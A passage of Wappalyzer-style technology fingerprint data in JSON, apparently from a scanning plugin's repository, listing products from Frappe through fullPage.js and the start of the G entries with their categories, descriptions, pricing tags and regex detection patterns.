\"\"\n    },\n    \"meta\": {\n      \"generator\": \"^frappe$\"\n    },\n    \"oss\": true,\n    \"website\": \"https://frappeframework.com\"\n  },\n  \"Frase\": {\n    \"cats\": [\n      96\n    ],\n    \"description\": \"Frase is a content system powered by AI, designed to streamline content creation processes.\",\n    \"icon\": \"Frase.svg\",\n    \"js\": {\n      \"frase\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.frase.io\"\n  },\n  \"Fraud Blocker\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Fraudblocker is an ad fraud and click-fraud detection and protection service software.\",\n    \"icon\": \"fraudblocker.png\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"monitor\\\\.fraudblocker\\\\.com/\"\n    ],\n    \"website\": \"https://fraudblocker.com\"\n  },\n  \"FraudLabs Pro\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"FraudLabs Pro is a fraud prevention service offered by the company FraudLabs Pro, which specialises in online fraud detection and risk management for businesses.\",\n    \"icon\": \"FraudLabs Pro.svg\",\n    \"js\": {\n      \"FraudLabsProAgent\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.fraudlabspro\\\\.com/\"\n    ],\n    \"website\": \"https://www.fraudlabspro.com\"\n  },\n  \"FreakOut\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"FreakOut is a marketing technology company with programmatic solutions (DSP,SSP) that delivers in-feed display and video formats across global publishers.\",\n    \"dom\": [\n      \"img[src*='.fout.jp/'], link[href*='.fout.jp']\"\n    ],\n    \"icon\": \"FreakOut.svg\",\n    \"js\": {\n      \"FOut\": \"\",\n      \"_fout_jsurl\": \"\",\n      \"_fout_queue\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.fout\\\\.jp/\"\n    ],\n    \"website\": \"https://www.fout.co.jp\"\n  },\n  \"FreeBSD\": {\n    \"cats\": [\n      28\n    ],\n    \"cpe\": \"cpe:2.3:o:freebsd:freebsd:*:*:*:*:*:*:*:*\",\n    \"description\": \"FreeBSD is a free and open-source Unix-like operating system.\",\n    \"headers\": {\n      \"Server\": \"FreeBSD(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"FreeBSD.png\",\n    \"website\": \"https://freebsd.org\"\n  },\n  \"FreeTextBox\": {\n    \"cats\": [\n      24\n    ],\n    \"cpe\": \"cpe:2.3:a:freetextbox:freetextbox:*:*:*:*:*:*:*:*\",\n    \"description\": \"FreeTextBox is a free open-source HTML Editor.\",\n    \"html\": [\n      \"<!-- \\\\* FreeTextBox v\\\\d \\\\((\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"FreeTextBox.png\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"js\": {\n      \"FTB_API\": \"\",\n      \"FTB_AddEvent\": \"\"\n    },\n    \"website\": \"https://freetextbox.com\"\n  },\n  \"Freespee\": {\n    \"cats\": [\n      10\n    ],\n    \"icon\": \"Freespee.svg\",\n    \"scriptSrc\": [\n      \"analytics\\\\.freespee\\\\.com/js/external/fs\\\\.(?:min\\\\.)?js\"\n    ],\n    \"website\": \"https://www.freespee.com\"\n  },\n  \"Frequenceo\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Frequenceo is a fixed-rate postage service in France.\",\n    \"icon\": \"La Poste.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bFrequenceo\\\\b\"\n    ],\n    \"website\": \"https://www.laposte.fr/entreprise/produit-entreprise/frequenceo\"\n  },\n  \"Frequently Bought Together\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Frequently Bought Together is a Shopify app which add Amazon-like 'Customers Who Bought This Item Also Bought' product recommendations to your store.\",\n    \"icon\": \"Frequently Bought Together.png\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.codeblackbelt\\\\.com/js/modules/frequently-bought-together/\"\n    ],\n    \"website\": \"https://www.codeblackbelt.com\"\n  },\n  \"Fresco\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Fresco is a responsive lightbox. Fresco comes with thumbnail support, fullscreen zoom, Youtube and Vimeo integration for HTML5 video and a powerful Javascript API.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"Fresco.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"website\": \"https://github.com/staaky/fresco\"\n  },\n  \"Fresh\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"description\": \"Fresh is a full stack modern web framework for JavaScript and TypeScript developers, designed to make it trivial to create high-quality, performant, and personalized web applications.\",\n    \"dom\": [\n      \"style[id='__FRSH_TWIND']\",\n      \"style[id='__FRSH_STYLE']\",\n      \"script[id='__FRSH_STATE']\",\n      \"link[href*='?__frsh_c=']\"\n    ],\n    \"icon\": \"Fresh.svg\",\n    \"implies\": [\n      \"Deno\",\n      \"Preact\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://fresh.deno.dev\"\n  },\n  \"Fresh Relevance\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Fresh Relevance is a personalization platform designed to create cross-channel experiences, enabling businesses to deliver customized customer interactions.\",\n    \"dom\": [\n      \"link[href*='am.freshrelevance.com']\"\n    ],\n    \"icon\": \"FreshRelevance.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.freshrelevance.com\"\n  },\n  \"Fresha\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Fresha is a leading marketplace enabling consumers to discover, book, and pay for local beauty and wellness services.\",\n    \"dom\": [\n      \"a[data-href*='.fresha.com/']\"\n    ],\n    \"icon\": \"Fresha.svg\",\n    \"js\": {\n      \"FRESHA_VARS\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.fresha\\\\.com/\"\n    ],\n    \"website\": \"https://www.fresha.com\"\n  },\n  \"Freshchat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Freshchat is a cloud-hosted live messaging and engagement application.\",\n    \"icon\": \"Freshchat.svg\",\n    \"js\": {\n      \"Freshbots\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"wchat\\\\.freshchat\\\\.com/js/widget\\\\.js\"\n    ],\n    \"website\": \"https://www.freshworks.com/live-chat-software/\"\n  },\n  \"Freshop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Freshop is an online platform for grocers.\",\n    \"icon\": \"Freshop.svg\",\n    \"js\": {\n      \"freshop\": \"\",\n      \"freshopInitialized\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"^Freshop, Inc\\\\.$\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"asset(?:cdn)?\\\\.freshop\\\\.com/\"\n    ],\n    \"website\": \"https://www.freshop.com\"\n  },\n  \"Freshteam\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Freshteam is a cloud-based HR and applicant tracking solution offered by Freshworks.\",\n    \"dom\": [\n      \"a[href*='.freshteam.com/jobs']\"\n    ],\n    \"icon\": \"Freshteam.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.freshteam\\\\.com/\"\n    ],\n    \"website\": \"https://www.freshworks.com/hrms/\"\n  },\n  \"Freshworks CRM\": {\n    \"cats\": [\n      53,\n      32,\n      74\n    ],\n    \"description\": \"Freshworks CRM is a cloud-based customer relationship management (CRM) solution. Key features include one-click phone, sales lead tracking, sales management, event tracking and more.\",\n    \"dom\": [\n      \"div[class*='Footer-PoweredBy'] > span > a[href*='www.freshworks.com/']\"\n    ],\n    \"icon\": \"Freshworks CRM.svg\",\n    \"js\": {\n      \"ZargetForm\": \"\",\n      \"zarget\": \"\",\n      \"zargetAPI\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.freshmarketer\\\\.com\",\n      \"cdn\\\\.zarget\\\\.com\"\n    ],\n    \"website\": \"https://www.freshworks.com/crm\"\n  },\n  \"Friendbuy\": {\n    \"cats\": [\n      94\n    ],\n    \"description\": \"Friendbuy is a cloud-based referral marketing solution designed to help ecommerce businesses of all sizes.\",\n    \"icon\": \"Friendbuy.svg\",\n    \"js\": {\n      \"friendbuy\": \"\",\n      \"friendbuyAPI.merchantId\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.cloudfront\\\\.net/js/friendbuy\\\\.min\\\\.js\",\n      \"static\\\\.fbot\\\\.me/friendbuy\\\\.js\"\n    ],\n    \"website\": \"https://www.friendbuy.com\"\n  },\n  \"Friendly Captcha\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Friendly Captcha is a proof-of-work based solution in which the user’s device does all the work.\",\n    \"dom\": [\n      \"div.frc-captcha\"\n    ],\n    \"icon\": \"FriendlyCaptcha.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"x-frc-client\\\",\\\"js-(\\\\d+(\\\\.\\\\d+)+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://friendlycaptcha.com\",\n    \"xhr\": [\n      \"api.friendlycaptcha.com\"\n    ]\n  },\n  \"Frizbit\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Frizbit is a marketing tool that helps digital marketeers increase web traffic and revenue by combining web push notification.\",\n    \"dom\": [\n      \"link[href*='cdn.frizbit.com']\"\n    ],\n    \"icon\": \"Frizbit.svg\",\n    \"js\": {\n      \"frizbit.configurationManager\": \"\",\n      \"frizbit.remoteConfigs\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.frizbit\\\\.com/\"\n    ],\n    \"website\": \"https://frizbit.com\"\n  },\n  \"Froala Editor\": {\n    \"cats\": [\n      24\n    ],\n    \"description\": \"Froala Editor is a WYSIWYG HTML Editor written in Javascript that enables rich text editing capabilities for applications.\",\n    \"dom\": {\n      \".fr-view, .fr-box, .fr-popup\": {\n        \"exists\": \"\\\\;version:2+\"\n      },\n      \".froala-box\": {\n        \"exists\": \"\\\\;version:1\"\n      }\n    },\n    \"icon\": \"Froala.svg\",\n    \"implies\": [\n      \"jQuery\",\n      \"Font Awesome\"\n    ],\n    \"js\": {\n      \"FroalaEditor.VERSION\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://froala.com/wysiwyg-editor\"\n  },\n  \"Front Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Front Chat is the live website chat solution that you can manage straight from your inbox.\",\n    \"icon\": \"Front Chat.svg\",\n    \"js\": {\n      \"FrontChat\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//chat-assets\\\\.frontapp\\\\.com/\"\n    ],\n    \"website\": \"https://front.com\"\n  },\n  \"Front-Commerce\": {\n    \"cats\": [\n      108\n    ],\n    \"description\": \"Front-Commerce is a React-based ecommerce framework that provides a development environment and tools for building online stores, offering seamless integration with backend systems through GraphQL and supporting popular platforms like Adobe Commerce, BigCommerce, OpenMage, Contentful or Prismic.\",\n    \"dom\": [\n      \"link[data-chunk*='front-commerce-src-web-theme-routes'], script[data-chunk*='front-commerce-src-web-theme-routes']\"\n    ],\n    \"icon\": \"front-commerce.svg\",\n    \"implies\": [\n      \"React\",\n      \"GraphQL\",\n      \"Webpack\",\n      \"Node.js\",\n      \"PWA\",\n      \"Remix\",\n      \"Vite\"\n    ],\n    \"meta\": {\n      \"application-name\": \"^Front-Commerce$\"\n    },\n    \"website\": \"https://front-commerce.com\"\n  },\n  \"FrontPage\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:microsoft:frontpage:*:*:*:*:*:*:*:*\",\n    \"description\": \"FrontPage is a program for developing and maintaining websites.\",\n    \"icon\": \"FrontPage.png\",\n    \"meta\": {\n      \"ProgId\": \"^FrontPage\\\\.\",\n      \"generator\": \"Microsoft FrontPage(?:\\\\s((?:Express )?[\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://office.microsoft.com/frontpage\"\n  },\n  \"Frontastic\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Frontastic is a Commerce Frontend Platform that unites business and development teams to build commerce sites on headless.\",\n    \"headers\": {\n      \"frontastic-request-id\": \"\"\n    },\n    \"icon\": \"Frontastic.svg\",\n    \"saas\": true,\n    \"website\": \"https://www.frontastic.cloud/\"\n  },\n  \"Frontify\": {\n    \"cats\": [\n      95\n    ],\n    \"description\": \"Frontify is a cloud-based brand management platform for creators and collaborators of brands.\",\n    \"dom\": [\n      \"a[href*='.frontify.com/'], img[src*='.frontify.com/'], link[href*='.frontify.com/']\"\n    ],\n    \"headers\": {\n      \"server\": \"^frontify$\"\n    },\n    \"icon\": \"Frontify.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.frontify.com\"\n  },\n  \"Frontity\": {\n    \"cats\": [\n      12,\n      18\n    ],\n    \"description\": \"Frontity is a React open-source framework focused on WordPress.\",\n    \"icon\": \"frontity.svg\",\n    \"implies\": [\n      \"React\",\n      \"Webpack\",\n      \"WordPress\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Frontity\"\n    },\n    \"website\": \"https://frontity.org\"\n  },\n  \"Frosmo\": {\n    \"cats\": [\n      32,\n      74\n    ],\n    \"description\": \"Frosmo is a SaaS company which provides AI-driven personalisation products.\",\n    \"icon\": \"Frosmo.svg\",\n    \"js\": {\n      \"_frosmo\": \"\",\n      \"frosmo\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"frosmo\\\\.easy\\\\.js\"\n    ],\n    \"website\": \"https://frosmo.com\"\n  },\n  \"FullCalendar\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"FullCalendar is a full-sized drag and drop JavaScript event calendar.\",\n    \"icon\": \"FullCalendar.svg\",\n    \"implies\": [\n      \"TypeScript\"\n    ],\n    \"js\": {\n      \"FullCalendar.version\": \"^([\\\\d\\\\.\\\\-\\\\w]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"/fullcalendar\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://fullcalendar.io\"\n  },\n  \"FullContact\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"FullContact is a privacy-safe Identity Resolution company building trust between people and brands.\",\n    \"icon\": \"FullContact.svg\",\n    \"js\": {\n      \"Fullcontact\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"tags\\\\.fullcontact\\\\.com/\"\n    ],\n    \"website\": \"https://www.fullcontact.com\"\n  },\n  \"FullStory\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"FullStory is a web-based digital intelligence system that helps optimize the client experience.\",\n    \"icon\": \"FullStory.svg\",\n    \"js\": {\n      \"FS.clearUserCookie\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.fullstory\\\\.com/\"\n    ],\n    \"website\": \"https://www.fullstory.com\"\n  },\n  \"Fullbay\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Fullbay is heavy-duty repair shop software that provides a clear view of ongoing activities in your repair shop while enhancing staff productivity.\",\n    \"icon\": \"Fullbay.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.fullbay\\\\.com/\"\n    ],\n    \"website\": \"https://www.fullbay.com\"\n  },\n  \"FunCaptcha\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"FunCaptcha is a type of CAPTCHA, which is a security measure used to protect websites and online services from spam, bots, and other forms of automated abuse.\",\n    \"icon\": \"fun_captcha.svg\",\n    \"website\": \"https://www.arkoselabs.com/arkose-matchkey/\",\n    \"xhr\": [\n      \"api\\\\.funcaptcha\\\\.com\"\n    ]\n  },\n  \"FundRazr\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"FundRazr is an online fundraising and crowdfunding platform.\",\n    \"dom\": [\n      \"link[href*='//static.fundrazr.com/']\"\n    ],\n    \"icon\": \"FundRazr.svg\",\n    \"js\": {\n      \"FundRazr\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fundrazr.com\"\n  },\n  \"Fundiin\": {\n    \"cats\": [\n      91\n    ],\n    \"description\": \"Fundiin is the BNPL leader in Vietnam in providing zero-cost buy-now-pay-later facilities.\",\n    \"icon\": \"Fundiin.svg\",\n    \"js\": {\n      \"websiteEnableSuggestFundiin\": \"true\",\n      \"websiteMaximumSuggestFundiinWithPrediction\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://fundiin.vn\"\n  },\n  \"Funding Choices\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Funding Choices is a messaging tool that can help you comply with the EU General Data Protection Regulation (GDPR), and recover lost revenue from ad blocking users.\",\n    \"dns\": {\n      \"SOA\": \"fundingchoicesmessages\"\n    },\n    \"dom\": [\n      \".fc-consent-root, iframe[name='googlefcLoaded'], iframe[name='googlefcPresent'], .fc-dialog, .fc-choice-dialog\"\n    ],\n    \"icon\": \"Google.svg\",\n    \"js\": {\n      \"__googlefc\": \"\"\n    },\n    \"scriptSrc\": [\n      \"fundingchoicesmessages\\\\.google\\\\.com\"\n    ],\n    \"website\": \"https://developers.google.com/funding-choices\"\n  },\n  \"Fundraise Up\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Fundraise Up is a platform for online donations.\",\n    \"icon\": \"Fundraise Up.svg\",\n    \"js\": {\n      \"FundraiseUp\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.fundraiseup\\\\.com/\"\n    ],\n    \"website\": \"https://fundraiseup.com\"\n  },\n  \"FunnelCockpit\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"FunnelCockpit is an all-in-one funnel builder.\",\n    \"dom\": [\n      \"a[href*='.funnelcockpit.com/'][target='_blank'], iframe[src*='.funnelcockpit.com/']\"\n    ],\n    \"icon\": \"FunnelCockpit.png\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.funnelcockpit\\\\.com/\"\n    ],\n    \"website\": \"https://funnelcockpit.com\"\n  },\n  \"Funnelforms\": {\n    \"cats\": [\n      87,\n      110\n    ],\n    \"description\": \"Funnelforms is a WordPress plugin for creating intelligent multi-step forms, integrating AI to streamline business processes, enhance customer acquisition, and optimise staff recruitment.\",\n    \"dom\": {\n      \"link[href*='/wp-content/plugins/Funnelforms']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/plugins/Funnelforms(?:-pro)?/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"Funnelforms.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://en.funnelforms.io\"\n  },\n  \"Funnelish\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Funnelish is a software tool that helps businesses create and optimise sales funnels for their websites to increase their conversion rates and revenue. Funnelish page builder is a funnel builder focused on building ecommerce funnels.\",\n    \"icon\": \"Funnelish.svg\",\n    \"js\": {\n      \"funnelish\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://funnelish.com\"\n  },\n  \"Funnelytics\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Funnelytics is a tool designed to increase lead and customer conversions by optimizing marketing funnels for better performance and results.\",\n    \"icon\": \"Funnelytics.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.funnelytics\\\\.io/\"\n    ],\n    \"website\": \"https://funnelytics.io\"\n  },\n  \"Funraise\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Funraise is a nonprofit fundraising platform that enables organisations to build fundraising websites as well as manage donations and campaigns.\",\n    \"dom\": [\n      \"a[href*='.funraise.org/']\"\n    ],\n    \"icon\": \"Funraise.svg\",\n    \"js\": {\n      \"FR.IMAGE_BASE_URL\": \"\\\\.funraise\\\\.io\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://funraise.org\"\n  },\n  \"FurnitureDealer\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"FurnitureDealer is the internet partner of more than 100 leading local full service brick and mortar furniture retailers.\",\n    \"icon\": \"FurnitureDealer.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"scriptSrc\": [\n      \"\\\\.furnituredealer\\\\.net/\"\n    ],\n    \"website\": \"https://www.furnituredealer.net\"\n  },\n  \"Fusion Ads\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Fusion Ads.png\",\n    \"js\": {\n      \"_fusion\": \"\"\n    },\n    \"scriptSrc\": [\n      \"^[^\\\\/]*//[ac]dn\\\\.fusionads\\\\.net/(?:api/([\\\\d.]+)/)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://fusionads.net\"\n  },\n  \"FusionCharts\": {\n    \"cats\": [\n      25\n    ],\n    \"description\": \"FusionCharts is a comprehensive charting solution for websites.\",\n    \"icon\": \"fusion_charts.svg\",\n    \"js\": {\n      \"FusionCharts\": \"\",\n      \"FusionChartsDataFormats\": \"\",\n      \"FusionMaps\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"website\": \"https://www.fusioncharts.com/charts\"\n  },\n  \"Future Shop\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Future Shop is a SaaS-based ecommerce platform.\",\n    \"icon\": \"futureshop.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"future-shop.*\\\\.js\"\n    ],\n    \"website\": \"https://www.future-shop.jp\"\n  },\n  \"Futurio\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"Futurio is a lightweight and customizable multi-purpose and WooCommerce WordPress theme.\",\n    \"dom\": [\n      \"link[href*='/wp-content/themes/futurio/']\"\n    ],\n    \"icon\": \"Futurio.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/futurio/.+customscript\\\\.js(?:\\\\?ver=([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://futuriowp.com\"\n  },\n  \"Fynd Platform\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Fynd Platform is a subscription based software as a service where brands can mange their catalog, send marketing sms/emailers and sell their products.\",\n    \"icon\": \"Fynd Platform.svg\",\n    \"implies\": [\n      \"Vue.js\"\n    ],\n    \"js\": {\n      \"__fyndAction\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://platform.fynd.com\"\n  },\n  \"framework7\": {\n    \"cats\": [\n      59,\n      66\n    ],\n    \"description\": \"Full Featured Mobile HTML Framework For Building iOS & Android Apps.\",\n    \"dom\": [\n      \"link[href*='framework7'], .framework7-root, .framework7-modals\"\n    ],\n    \"icon\": \"framework7.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:\\\\/(?:js\\\\/)?)?framework7(?:-((?:\\\\d+\\\\.)+\\\\d+))?(?:\\\\.custom)?(?:\\\\.min)?(?:-vue)?_?[\\\\w\\\\.]{0,29}\\\\.js\\\\;version:\\\\1\",\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:js\\\\/)?)?framework7(?:-)?(?:\\\\.custom)?(?:\\\\.min)?(?:-vue)?_?[\\\\w\\\\.]{0,29}\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://framework7.io/\"\n  },\n  \"fullPage.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"fullPage.js a jQuery and vanilla JavaScript plugin for fullscreen scrolling websites.\",\n    \"icon\": \"fullPage.js.png\",\n    \"implies\": [\n      \"jQuery\"\n    ],\n    \"js\": {\n      \"fullpage_api.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/fullPage\\\\.js(?:/([\\\\d\\\\.]+)/)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/alvarotrigo/fullpage.js\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/g.json",
    "content": "{\n  \"GEODIS\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"GEODIS is a global transport and logistics company.\",\n    \"icon\": \"GEODIS.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bGeodis\\\\b\"\n    ],\n    \"website\": \"https://geodis.com\"\n  },\n  \"GEOvendas\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"GEOvendas is an ecommerce platform with analytics, sales force, B2B and B2C products.\",\n    \"dom\": [\n      \"a[href*='geovendas.com.br'][target='_blank']\"\n    ],\n    \"icon\": \"GEOvendas.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.geovendas.com\"\n  },\n  \"GLPI\": {\n    \"cats\": [\n      18,\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:* \",\n    \"description\": \"GLPI is an open-source IT Asset Management, issue tracking and service desk system.\",\n    \"dom\": {\n      \"div[id*='footer-login'] > a\": {\n        \"text\": \"GLPI\\\\s+version\\\\s+([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n      },\n      \"input[name='_glpi_csrf_token']\": {\n        \"exists\": \"\"\n      }\n    },\n    \"icon\": \"GLPI.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"glpiUnsavedFormChanges\": \"\"\n    },\n    \"meta\": {\n      \"glpi:csrf_token\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"//.*glpi.+common\\\\.min\\\\.js\\\\?v=(\\\\d+\\\\.\\\\d+\\\\.\\\\d+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://glpi-project.org\"\n  },\n  \"GLS\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"GLS offers parcel, logistics and express services, throughout Europe as well as in the US and in Canada.\",\n    \"icon\": \"GLS.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bGLS\\\\b\"\n    ],\n    \"website\": \"https://gls-group.eu\"\n  },\n  \"GOV.UK Elements\": {\n    \"cats\": [\n      66\n    ],\n    \"html\": [\n      \"<link[^>]+elements-page[^>\\\"]+css\\\\;confidence:25\",\n      \"<div[^>]+phase-banner-alpha\\\\;confidence:25\",\n      \"<div[^>]+phase-banner-beta\\\\;confidence:25\",\n      \"<div[^>]+govuk-box-highlight\\\\;confidence:25\"\n    ],\n    \"icon\": \"govuk.svg\",\n    \"implies\": [\n      \"GOV.UK Toolkit\"\n    ],\n    \"website\": \"https://github.com/alphagov/govuk_elements/\"\n  },\n  \"GOV.UK Frontend\": {\n    \"cats\": [\n      66\n    ],\n    \"html\": [\n      \"<link[^>]* href=[^>]*?govuk-frontend(?:[^>]*?([0-9a-fA-F]{7,40}|[\\\\d]+(?:.[\\\\d]+(?:.[\\\\d]+)?)?)|)[^>]*?(?:\\\\.min)?\\\\.css\\\\;version:\\\\1\",\n      \"<body[^>]+govuk-template__body\\\\;confidence:80\",\n      